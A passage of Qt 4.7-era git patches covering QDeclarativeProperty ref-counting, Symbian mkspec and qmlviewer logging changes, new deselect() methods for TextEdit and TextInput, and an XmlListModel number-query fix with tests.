24:" << property.read().toInt(); Create an invalid QDeclarativeProperty. */ QDeclarativeProperty::QDeclarativeProperty() -: d(new QDeclarativePropertyPrivate) +: d(0) { - d->q = this; } /*! \internal */ QDeclarativeProperty::~QDeclarativeProperty() { - delete d; d = 0; + if (d) + d->release(); + d = 0; } /*! @@ -124,7 +125,6 @@ QDeclarativeProperty::~QDeclarativeProperty() QDeclarativeProperty::QDeclarativeProperty(QObject *obj) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->initDefault(obj); } @@ -137,7 +137,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj) QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeContext *ctxt) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->context = ctxt?QDeclarativeContextData::get(ctxt):0; d->engine = ctxt?ctxt->engine():0; d->initDefault(obj); @@ -152,7 +151,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeContext *ct QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeEngine *engine) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->context = 0; d->engine = engine; d->initDefault(obj); @@ -178,7 +176,6 @@ void QDeclarativePropertyPrivate::initDefault(QObject *obj) QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->initProperty(obj, name); if (!isValid()) d->object = 0; } @@ -190,7 +187,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name) QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeContext *ctxt) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->context = ctxt?QDeclarativeContextData::get(ctxt):0; d->engine = ctxt?ctxt->engine():0; d->initProperty(obj, name); @@ -205,7 +201,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QD QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeEngine *engine) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->context = 0; d->engine = engine; d->initProperty(obj, name); @@ -324,9 +319,10 @@ void QDeclarativePropertyPrivate::initProperty(QObject *obj, const QString &name Create a copy of \a other. */ QDeclarativeProperty::QDeclarativeProperty(const QDeclarativeProperty &other) -: d(new QDeclarativePropertyPrivate(*other.d)) { - d->q = this; + d = other.d; + if (d) + d->addref(); } /*! @@ -355,13 +351,13 @@ QDeclarativeProperty::QDeclarativeProperty(const QDeclarativeProperty &other) */ QDeclarativeProperty::PropertyTypeCategory QDeclarativeProperty::propertyTypeCategory() const { - return d->propertyTypeCategory(); + return d ? d->propertyTypeCategory() : InvalidCategory; } QDeclarativeProperty::PropertyTypeCategory QDeclarativePropertyPrivate::propertyTypeCategory() const { - uint type = q->type(); + uint type = this->type(); if (isValueType()) { return QDeclarativeProperty::Normal; @@ -388,6 +384,8 @@ QDeclarativePropertyPrivate::propertyTypeCategory() const */ const char *QDeclarativeProperty::propertyTypeName() const { + if (!d) + return 0; if (d->isValueType()) { QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(d->context); @@ -414,6 +412,8 @@ const char *QDeclarativeProperty::propertyTypeName() const */ bool QDeclarativeProperty::operator==(const QDeclarativeProperty &other) const { + if (!d || !other.d) + return false; // category is intentially omitted here as it is generated // from the other members return d->object == other.d->object && @@ -427,7 +427,7 @@ bool QDeclarativeProperty::operator==(const QDeclarativeProperty &other) const */ int QDeclarativeProperty::propertyType() const { - return d->propertyType(); + return d ? d->propertyType() : QVariant::Invalid; } bool QDeclarativePropertyPrivate::isValueType() const @@ -437,7 +437,7 @@ bool QDeclarativePropertyPrivate::isValueType() const int QDeclarativePropertyPrivate::propertyType() const { - uint type = q->type(); + uint type = this->type(); if (isValueType()) { return valueType.valueTypePropType; } else if (type & QDeclarativeProperty::Property) { @@ -450,17 +450,22 @@ int QDeclarativePropertyPrivate::propertyType() const } } +QDeclarativeProperty::Type QDeclarativePropertyPrivate::type() const +{ + if (core.flags & QDeclarativePropertyCache::Data::IsFunction) + return QDeclarativeProperty::SignalProperty; + else if (core.isValid()) + return QDeclarativeProperty::Property; + else + return QDeclarativeProperty::Invalid; +} + /*! Returns the type of the property. */ QDeclarativeProperty::Type QDeclarativeProperty::type() const { - if (d->core.flags & QDeclarativePropertyCache::Data::IsFunction) - return SignalProperty; - else if (d->core.isValid()) - return Property; - else - return Invalid; + return d ? d->type() : Invalid; } /*! @@ -484,7 +489,7 @@ bool QDeclarativeProperty::isSignalProperty() const */ QObject *QDeclarativeProperty::object() const { - return d->object; + return d ? d->object : 0; } /*! @@ -492,15 +497,11 @@ QObject *QDeclarativeProperty::object() const */ QDeclarativeProperty &QDeclarativeProperty::operator=(const QDeclarativeProperty &other) { - d->context = other.d->context; - d->engine = other.d->engine; - d->object = other.d->object; - - d->isNameCached = other.d->isNameCached; - d->core = other.d->core; - d->nameCache = other.d->nameCache; - - d->valueType = other.d->valueType; + if (d) + d->release(); + d = other.d; + if (d) + d->addref(); return *this; } @@ -510,6 +511,8 @@ QDeclarativeProperty &QDeclarativeProperty::operator=(const QDeclarativeProperty */ bool QDeclarativeProperty::isWritable() const { + if (!d) + return false; if (!d->object) return false; if (d->core.flags & QDeclarativePropertyCache::Data::IsQList) //list @@ -527,6 +530,8 @@ bool QDeclarativeProperty::isWritable() const */ bool QDeclarativeProperty::isDesignable() const { + if (!d) + return false; if (type() & Property && d->core.isValid() && d->object) return d->object->metaObject()->property(d->core.coreIndex).isDesignable(); else @@ -538,6 +543,8 @@ bool QDeclarativeProperty::isDesignable() const */ bool QDeclarativeProperty::isResettable() const { + if (!d) + return false; if (type() & Property && d->core.isValid() && d->object) return d->core.flags & QDeclarativePropertyCache::Data::IsResettable; else @@ -550,6 +557,8 @@ bool QDeclarativeProperty::isResettable() const */ bool QDeclarativeProperty::isValid() const { + if (!d) + return false; return type() != Invalid; } @@ -558,6 +567,8 @@ bool QDeclarativeProperty::isValid() const */ QString QDeclarativeProperty::name() const { + if (!d) + return QString(); if (!d->isNameCached) { // ### if (!d->object) { @@ -594,6 +605,8 @@ QString QDeclarativeProperty::name() const */ QMetaProperty QDeclarativeProperty::property() const { + if (!d) + return QMetaProperty(); if (type() & Property && d->core.isValid() && d->object) return d->object->metaObject()->property(d->core.coreIndex); else @@ -606,6 +619,8 @@ QMetaProperty QDeclarativeProperty::property() const */ QMetaMethod QDeclarativeProperty::method() const { + if (!d) + return QMetaMethod(); if (type() & SignalProperty && d->object) return d->object->metaObject()->method(d->core.coreIndex); else @@ -619,7 +634,7 @@ QMetaMethod QDeclarativeProperty::method() const QDeclarativeAbstractBinding * QDeclarativePropertyPrivate::binding(const QDeclarativeProperty &that) { - if (!that.isProperty() || !that.d->object) + if (!that.d || !that.isProperty() || !that.d->object) return 0; return binding(that.d->object, that.d->core.coreIndex, that.d->valueType.valueTypeCoreIdx); @@ -643,7 +658,7 @@ QDeclarativePropertyPrivate::setBinding(const QDeclarativeProperty &that, QDeclarativeAbstractBinding *newBinding, WriteFlags flags) { - if (!that.isProperty() || !that.d->object) { + if (!that.d || !that.isProperty() || !that.d->object) { if (newBinding) newBinding->destroy(); return 0; @@ -893,6 +908,8 @@ QDeclarativePropertyPrivate::setSignalExpression(const QDeclarativeProperty &tha */ QVariant QDeclarativeProperty::read() const { + if (!d) + return QVariant(); if (!d->object) return QVariant(); @@ -1034,8 +1051,10 @@ bool QDeclarativePropertyPrivate::writeEnumProperty(const QMetaProperty &prop, i bool QDeclarativePropertyPrivate::writeValueProperty(const QVariant &value, WriteFlags flags) { // Remove any existing bindings on this property - if (!(flags & DontRemoveBinding)) { - QDeclarativeAbstractBinding *binding = setBinding(*q, 0); + if (!(flags & DontRemoveBinding) && + (type() & QDeclarativeProperty::Property) && object) { + QDeclarativeAbstractBinding *binding = setBinding(object, core.coreIndex, + valueType.valueTypeCoreIdx, 0, flags); if (binding) binding->destroy(); } @@ -1314,6 +1333,8 @@ bool QDeclarativeProperty::reset() const bool QDeclarativePropertyPrivate::write(const QDeclarativeProperty &that, const QVariant &value, WriteFlags flags) { + if (!that.d) + return false; if (that.d->object && that.type() & QDeclarativeProperty::Property && that.d->core.isValid() && that.isWritable()) return that.d->writeValueProperty(value, flags); @@ -1392,12 +1413,12 @@ bool QDeclarativeProperty::connectNotifySignal(QObject *dest, const char *slot) */ int QDeclarativeProperty::index() const { - return d->core.coreIndex; + return d ? d->core.coreIndex : -1; } int QDeclarativePropertyPrivate::valueTypeCoreIndex(const QDeclarativeProperty &that) { - return that.d->valueType.valueTypeCoreIdx; + return that.d ? that.d->valueType.valueTypeCoreIdx : -1; } /*! @@ -1406,6 +1427,8 @@ int QDeclarativePropertyPrivate::valueTypeCoreIndex(const QDeclarativeProperty & */ int QDeclarativePropertyPrivate::bindingIndex(const QDeclarativeProperty &that) { + if (!that.d) + return -1; int rv = that.d->core.coreIndex; if (rv != -1 && that.d->valueType.valueTypeCoreIdx != -1) rv = rv | (that.d->valueType.valueTypeCoreIdx << 24); @@ -1457,6 +1480,7 @@ QDeclarativePropertyPrivate::restore(const QByteArray &data, QObject *object, QD if (data.isEmpty()) return prop; + prop.d = new QDeclarativePropertyPrivate; prop.d->object = object; prop.d->context = ctxt; prop.d->engine = ctxt->engine; diff --git a/src/declarative/qml/qdeclarativeproperty_p.h b/src/declarative/qml/qdeclarativeproperty_p.h index 6392f88..f7d24f1 100644 --- a/src/declarative/qml/qdeclarativeproperty_p.h +++ b/src/declarative/qml/qdeclarativeproperty_p.h @@ -65,23 +65,15 @@ QT_BEGIN_NAMESPACE class QDeclarativeContext; class QDeclarativeEnginePrivate; class QDeclarativeExpression; -class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyPrivate +class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyPrivate : public QDeclarativeRefCount { public: enum WriteFlag { BypassInterceptor = 0x01, DontRemoveBinding = 0x02, RemoveBindingOnAliasWrite = 0x04 }; Q_DECLARE_FLAGS(WriteFlags, WriteFlag) QDeclarativePropertyPrivate() - : q(0), context(0), engine(0), object(0), isNameCached(false) {} - + : context(0), engine(0), object(0), isNameCached(false) {} - QDeclarativePropertyPrivate(const QDeclarativePropertyPrivate &other) - : q(0), context(other.context), engine(other.engine), object(other.object), - isNameCached(other.isNameCached), - core(other.core), nameCache(other.nameCache), - valueType(other.valueType) {} - - QDeclarativeProperty *q; QDeclarativeContextData *context; QDeclarativeEngine *engine; QDeclarativeGuard object; @@ -98,6 +90,7 @@ public: bool isValueType() const; int propertyType() const; + QDeclarativeProperty::Type type() const; QDeclarativeProperty::PropertyTypeCategory propertyTypeCategory() const; QVariant readValueProperty(); -- cgit v0.12 From f44f7084a3020ed8e249644d5b5e07f74cb7b070 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 22 Dec 2010 15:56:01 +0100 Subject: Doc: Sync with upstream. --- doc/src/snippets/declarative/focus/focusColumn.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/src/snippets/declarative/focus/focusColumn.qml b/doc/src/snippets/declarative/focus/focusColumn.qml index 9b761dd..42ee3da 100644 --- a/doc/src/snippets/declarative/focus/focusColumn.qml +++ b/doc/src/snippets/declarative/focus/focusColumn.qml @@ -4,7 +4,7 @@ ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** -** This file is part of the FOO module of the Qt Toolkit. +** This file is part of the documentation of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:BSD$ ** You may use this file under the terms of the BSD license as follows: -- cgit v0.12 From 7a3cac878f4f4a7c2cf3ea08557ee63d8c6a9330 Mon Sep 17 00:00:00 2001 From: axis Date: Tue, 19 Oct 2010 08:47:29 +0200 Subject: Fixed some tools definitions and properties in symbian profiles. This is needed for Symbian development on Windows using makefiles. RevBy: Trust me --- mkspecs/common/armcc.conf | 1 + mkspecs/common/symbian/symbian.conf | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/mkspecs/common/armcc.conf b/mkspecs/common/armcc.conf index 2c765bc..4f178d7 100644 --- a/mkspecs/common/armcc.conf +++ b/mkspecs/common/armcc.conf @@ -37,5 +37,6 @@ QMAKE_LFLAGS_PLUGIN += $$QMAKE_LFLAGS_SHLIB QMAKE_LFLAGS_THREAD += QMAKE_AR = armar --create +QMAKE_LIB = armar --create QMAKE_RANLIB = diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf index 8c79d8b..ed14b32 100644 --- a/mkspecs/common/symbian/symbian.conf +++ b/mkspecs/common/symbian/symbian.conf @@ -114,11 +114,11 @@ contains(QMAKE_HOST.os,Windows) { } QMAKE_IDL = midl -QMAKE_LIB = ar -ru -QMAKE_RC = windres QMAKE_ZIP = zip -r -9 QMAKE_UNZIP = unzip -o +QMAKE_WRITE_DEFAULT_RC = 1 + QMAKE_TAR = tar -cf QMAKE_GZIP = gzip -9f -- cgit v0.12 From 2de60ba30f86a9dd338359f7269b62ca5d0a2c46 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Thu, 30 Dec 2010 17:16:16 +1000 Subject: Forward qmlviewer traces to system's default message handler on Symbian Task-number: QTBUG-16353 Reviewed-by: Christopher Ham --- tools/qml/main.cpp | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp index b9513b9..2df96c0 100644 --- a/tools/qml/main.cpp +++ b/tools/qml/main.cpp @@ -88,6 +88,9 @@ void myMessageOutput(QtMsgType type, const char *msg) ::write(fd, "\n", 1); ::fsync(fd); + if (systemMsgOutput) + systemMsgOutput(type, msg); + switch (type) { case QtFatalMsg: abort(); @@ -529,11 +532,7 @@ QDeclarativeViewer *openFile(const QString &fileName) int main(int argc, char ** argv) { -#if defined (Q_OS_SYMBIAN) - qInstallMsgHandler(myMessageOutput); -#else systemMsgOutput = qInstallMsgHandler(myMessageOutput); -#endif #if defined (Q_WS_X11) || defined (Q_WS_MAC) //### default to using raster graphics backend for now -- cgit v0.12 From 22daf9fbdfaa859db6414d39d9354e7d46f63005 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Thu, 30 Dec 2010 17:52:30 +1000 Subject: Add convenience deselect() functions to TextInput and TextEdit Task-number: QTBUG-16059 Reviewed-by: Christopher Ham --- src/declarative/graphicsitems/qdeclarativetextedit.cpp | 13 +++++++++++++ src/declarative/graphicsitems/qdeclarativetextedit_p.h | 1 + src/declarative/graphicsitems/qdeclarativetextinput.cpp | 11 +++++++++++ src/declarative/graphicsitems/qdeclarativetextinput_p.h | 1 + .../qdeclarativetextedit/tst_qdeclarativetextedit.cpp | 7 +++++++ .../qdeclarativetextinput/tst_qdeclarativetextinput.cpp | 7 +++++++ 6 files changed, 40 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index f37fa62..c1314ff 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -996,6 +996,19 @@ void QDeclarativeTextEditPrivate::focusChanged(bool hasFocus) } /*! + \qmlmethod void TextEdit::deselect() + + Removes active text selection. +*/ +void QDeclarativeTextEdit::deselect() +{ + Q_D(QDeclarativeTextEdit); + QTextCursor c = d->control->textCursor(); + c.clearSelection(); + d->control->setTextCursor(c); +} + +/*! \qmlmethod void TextEdit::selectAll() Causes all text to be selected. diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 7f12c85..691d995 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -223,6 +223,7 @@ Q_SIGNALS: void selectByMouseChanged(bool selectByMouse); public Q_SLOTS: + void deselect(); void selectAll(); void selectWord(); void select(int start, int end); diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 4649be8..4e1c297 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -1166,6 +1166,17 @@ QVariant QDeclarativeTextInput::inputMethodQuery(Qt::InputMethodQuery property) } /*! + \qmlmethod void TextInput::deselect() + + Removes active text selection. +*/ +void QDeclarativeTextInput::deselect() +{ + Q_D(QDeclarativeTextInput); + d->control->deselect(); +} + +/*! \qmlmethod void TextInput::selectAll() Causes all text to be selected. diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 06f77e5..878f040 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -231,6 +231,7 @@ protected: void focusInEvent(QFocusEvent *event); public Q_SLOTS: + void deselect(); void selectAll(); void selectWord(); void select(int start, int end); diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index a7971cc..c0bb46e 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -689,6 +689,13 @@ void tst_qdeclarativetextedit::selection() QVERIFY(textEditObject->selectedText().size() == 10); textEditObject->select(0,100); QVERIFY(textEditObject->selectedText().size() == 10); + + textEditObject->deselect(); + QVERIFY(textEditObject->selectedText().isNull()); + textEditObject->select(0,10); + QVERIFY(textEditObject->selectedText().size() == 10); + textEditObject->deselect(); + QVERIFY(textEditObject->selectedText().isNull()); } void tst_qdeclarativetextedit::mouseSelection_data() diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 76e0102..589ffa6 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -392,6 +392,13 @@ void tst_qdeclarativetextinput::selection() textinputObject->select(0,100); QVERIFY(textinputObject->selectedText().size() == 10); + textinputObject->deselect(); + QVERIFY(textinputObject->selectedText().isNull()); + textinputObject->select(0,10); + QVERIFY(textinputObject->selectedText().size() == 10); + textinputObject->deselect(); + QVERIFY(textinputObject->selectedText().isNull()); + delete textinputObject; } -- cgit v0.12 From e8b736c44426fd4ae832e82a9e624c9737a40213 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 31 Dec 2010 11:28:08 +1000 Subject: Use deselect() function in text selection example Task-number: QTBUG-16059 Reviewed-by: Christopher Ham --- examples/declarative/text/textselection/textselection.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/declarative/text/textselection/textselection.qml b/examples/declarative/text/textselection/textselection.qml index f343be5..c6f44a0 100644 --- a/examples/declarative/text/textselection/textselection.qml +++ b/examples/declarative/text/textselection/textselection.qml @@ -265,7 +265,7 @@ Rectangle { anchors.fill: parent onClicked: { edit.cursorPosition = edit.selectionEnd; - edit.select(edit.cursorPosition, edit.cursorPosition); + edit.deselect(); editor.state = "" } } -- cgit v0.12 From 59ec08d255b7d7bd8975bdbfd0b0a42c1b6ed2a0 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 31 Dec 2010 15:49:48 +1000 Subject: Provide qmlviewer warning window also on Symbian Task-number: QTBUG-10800 Reviewed-by: Christopher Ham --- tools/qml/loggerwidget.cpp | 9 +++++++++ tools/qml/main.cpp | 49 ++++++++++++++++++---------------------------- tools/qml/qmlruntime.cpp | 8 +++++++- 3 files changed, 35 insertions(+), 31 deletions(-) diff --git a/tools/qml/loggerwidget.cpp b/tools/qml/loggerwidget.cpp index 8aa029f..f601d95 100644 --- a/tools/qml/loggerwidget.cpp +++ b/tools/qml/loggerwidget.cpp @@ -64,6 +64,14 @@ LoggerWidget::LoggerWidget(QWidget *parent) : m_plainTextEdit = new QPlainTextEdit(); +#if defined(Q_OS_SYMBIAN) + m_plainTextEdit->setReadOnly(true); + QAction* backAction = new QAction( tr("Back"), this ); + backAction->setSoftKeyRole( QAction::NegativeSoftKey ); + connect(backAction, SIGNAL(triggered()), this, SLOT(hide())); + addAction( backAction ); +#endif + #ifdef Q_WS_MAEMO_5 new TextEditAutoResizer(m_plainTextEdit); setAttribute(Qt::WA_Maemo5StackedWindow); @@ -74,6 +82,7 @@ LoggerWidget::LoggerWidget(QWidget *parent) : #else setCentralWidget(m_plainTextEdit); #endif + readSettings(); setupPreferencesMenu(); } diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp index 2df96c0..b5a4fd0 100644 --- a/tools/qml/main.cpp +++ b/tools/qml/main.cpp @@ -72,36 +72,15 @@ void exitApp(int i) exit(i); } +QWeakPointer logger; +static QAtomicInt recursiveLock(0); + #if defined (Q_OS_SYMBIAN) #include #include #include #include - -void myMessageOutput(QtMsgType type, const char *msg) -{ - static int fd = -1; - if (fd == -1) - fd = ::open("E:\\qml.log", O_WRONLY | O_CREAT); - - ::write(fd, msg, strlen(msg)); - ::write(fd, "\n", 1); - ::fsync(fd); - - if (systemMsgOutput) - systemMsgOutput(type, msg); - - switch (type) { - case QtFatalMsg: - abort(); - } -} - -#else // !defined (Q_OS_SYMBIAN) - -QWeakPointer logger; - -static QAtomicInt recursiveLock(0); +#endif void myMessageOutput(QtMsgType type, const char *msg) { @@ -118,7 +97,21 @@ void myMessageOutput(QtMsgType type, const char *msg) warnings += QLatin1Char('\n'); } } - if (systemMsgOutput) { // Windows +#if defined (Q_OS_SYMBIAN) + static int fd = -1; + if (fd == -1) + fd = ::open("E:\\qml.log", O_WRONLY | O_CREAT); + + ::write(fd, msg, strlen(msg)); + ::write(fd, "\n", 1); + ::fsync(fd); + switch (type) { + case QtFatalMsg: + abort(); + } +#endif + + if (systemMsgOutput) { systemMsgOutput(type, msg); } else { // Unix fprintf(stderr, "%s\n", msg); @@ -126,8 +119,6 @@ void myMessageOutput(QtMsgType type, const char *msg) } } -#endif - static QDeclarativeViewer* globalViewer = 0; // The qml file that is shown if the user didn't specify a QML file @@ -472,7 +463,6 @@ static QDeclarativeViewer *createViewer() viewer->setScript(opts.script); } -#if !defined(Q_OS_SYMBIAN) logger = viewer->warningsWidget(); if (opts.warningsConfig == ShowWarnings) { logger.data()->setDefaultVisibility(LoggerWidget::ShowWarnings); @@ -480,7 +470,6 @@ static QDeclarativeViewer *createViewer() } else if (opts.warningsConfig == HideWarnings){ logger.data()->setDefaultVisibility(LoggerWidget::HideWarnings); } -#endif if (opts.experimentalGestures) viewer->enableExperimentalGestures(); diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index 142e4c5..b829528 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -742,8 +742,10 @@ void QDeclarativeViewer::createMenu() connect(slowAction, SIGNAL(triggered(bool)), this, SLOT(setSlowMode(bool))); showWarningsWindow = new QAction(tr("Show Warnings"), this); +#if !defined(Q_OS_SYMBIAN) showWarningsWindow->setCheckable((true)); showWarningsWindow->setChecked(loggerWindow->isVisible()); +#endif connect(showWarningsWindow, SIGNAL(triggered(bool)), this, SLOT(showWarnings(bool))); QAction *proxyAction = new QAction(tr("HTTP &Proxy..."), this); @@ -826,11 +828,11 @@ void QDeclarativeViewer::createMenu() QMenu *recordMenu = menu->addMenu(tr("&Recording")); recordMenu->addAction(snapshotAction); recordMenu->addAction(recordAction); +#endif // ! Q_OS_SYMBIAN QMenu *debugMenu = menu->addMenu(tr("&Debugging")); debugMenu->addAction(slowAction); debugMenu->addAction(showWarningsWindow); -#endif // ! Q_OS_SYMBIAN QMenu *settingsMenu = menu->addMenu(tr("&Settings")); settingsMenu->addAction(proxyAction); @@ -914,7 +916,11 @@ void QDeclarativeViewer::toggleFullScreen() void QDeclarativeViewer::showWarnings(bool show) { +#if defined(Q_OS_SYMBIAN) + loggerWindow->showMaximized(); +#else loggerWindow->setVisible(show); +#endif } void QDeclarativeViewer::warningsWidgetOpened() -- cgit v0.12 From 086f33dd4c70be03adcbc1703997afa27add920b Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 4 Jan 2011 15:03:53 +1000 Subject: Fix results of number() queries for zero and non-number values Use xs:string() to test whether a value is empty, instead of using a simple boolean check which fails for zero-type values. This fix also means 'NaN' is returned for non-number (including empty) values. Task-number: QTBUG-16423, QTBUG-16265 Reviewed-by: Michael Brasser --- src/declarative/util/qdeclarativexmllistmodel.cpp | 2 +- .../qdeclarativexmllistmodel/data/model2.qml | 11 ---- .../tst_qdeclarativexmllistmodel.cpp | 76 ++++++++++++++++++---- 3 files changed, 64 insertions(+), 25 deletions(-) delete mode 100644 tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 49a12b1..f5c3ad4 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -382,7 +382,7 @@ void QDeclarativeXmlQuery::doSubQueryJob() for (int i = 0; i < queries.size(); ++i) { QList resultList; if (!queries[i].isEmpty()) { - subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + queries[i] + QLatin1String(" return if ($v) then ") + queries[i] + QLatin1String(" else \"\")")); + subquery.setQuery(m_prefix + QLatin1String("(let $v := string(") + queries[i] + QLatin1String(") return if ($v) then ") + queries[i] + QLatin1String(" else \"\")")); if (subquery.isValid()) { QXmlResultItems resultItems; subquery.evaluateTo(&resultItems); diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml deleted file mode 100644 index e56aafa..0000000 --- a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - source: "model.xml" - query: "/Pets/Pet" - XmlRole { name: "name"; query: "name/string()" } - XmlRole { name: "type"; query: "type/string()" } - XmlRole { name: "age"; query: "age/number()" } - XmlRole { name: "size"; query: "size/string()" } - XmlRole { name: "tricks"; query: "tricks/string()" } -} diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp index a14f942..3e81c53 100644 --- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp +++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp @@ -38,6 +38,12 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ +#include + +#include +#include +#include + #include #include #include @@ -75,7 +81,8 @@ private slots: } void buildModel(); - void missingFields(); + void testTypes(); + void testTypes_data(); void cdata(); void attributes(); void roles(); @@ -158,27 +165,70 @@ void tst_qdeclarativexmllistmodel::buildModel() delete model; } -void tst_qdeclarativexmllistmodel::missingFields() +void tst_qdeclarativexmllistmodel::testTypes() { - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model2.qml")); + QFETCH(QString, xml); + QFETCH(QString, roleName); + QFETCH(QVariant, expectedValue); + + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/testtypes.qml")); QDeclarativeXmlListModel *model = qobject_cast(component.create()); QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 9); + model->setXml(xml.toUtf8()); + model->reload(); + QTRY_COMPARE(model->count(), 1); - QList roles; - roles << Qt::UserRole << Qt::UserRole + 1 << Qt::UserRole + 2 << Qt::UserRole + 3 << Qt::UserRole + 4; - QHash data = model->data(5, roles); - QVERIFY(data.count() == 5); - QCOMPARE(data.value(Qt::UserRole+3).toString(), QLatin1String("")); - QCOMPARE(data.value(Qt::UserRole+4).toString(), QLatin1String("")); + int role = -1; + foreach (int i, model->roles()) { + if (model->toString(i) == roleName) { + role = i; + break; + } + } + QVERIFY(role >= 0); - data = model->data(7, roles); - QVERIFY(data.count() == 5); - QCOMPARE(data.value(Qt::UserRole+2).toString(), QLatin1String("")); + if (expectedValue.toString() == "nan") + QVERIFY(qIsNaN(model->data(0, role).toDouble())); + else + QCOMPARE(model->data(0, role), expectedValue); delete model; } +void tst_qdeclarativexmllistmodel::testTypes_data() +{ + QTest::addColumn("xml"); + QTest::addColumn("roleName"); + QTest::addColumn("expectedValue"); + + QTest::newRow("missing string field") << "" + << "stringValue" << QVariant(""); + QTest::newRow("empty string") << "" + << "stringValue" << QVariant(""); + QTest::newRow("1-char string") << "5" + << "stringValue" << QVariant("5"); + QTest::newRow("string ok") << "abc def g" + << "stringValue" << QVariant("abc def g"); + + QTest::newRow("missing number field") << "" + << "numberValue" << QVariant(""); + double nan = qQNaN(); + QTest::newRow("empty number field") << "" + << "numberValue" << QVariant(nan); + QTest::newRow("number field with string") << "a string" + << "numberValue" << QVariant(nan); + QTest::newRow("-1") << "-1" + << "numberValue" << QVariant("-1"); + QTest::newRow("-1.5") << "-1.5" + << "numberValue" << QVariant("-1.5"); + QTest::newRow("0") << "0" + << "numberValue" << QVariant("0"); + QTest::newRow("+1") << "1" + << "numberValue" << QVariant("1"); + QTest::newRow("+1.5") << "1.5" + << "numberValue" << QVariant("1.5"); +} + void tst_qdeclarativexmllistmodel::cdata() { QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/recipes.qml")); 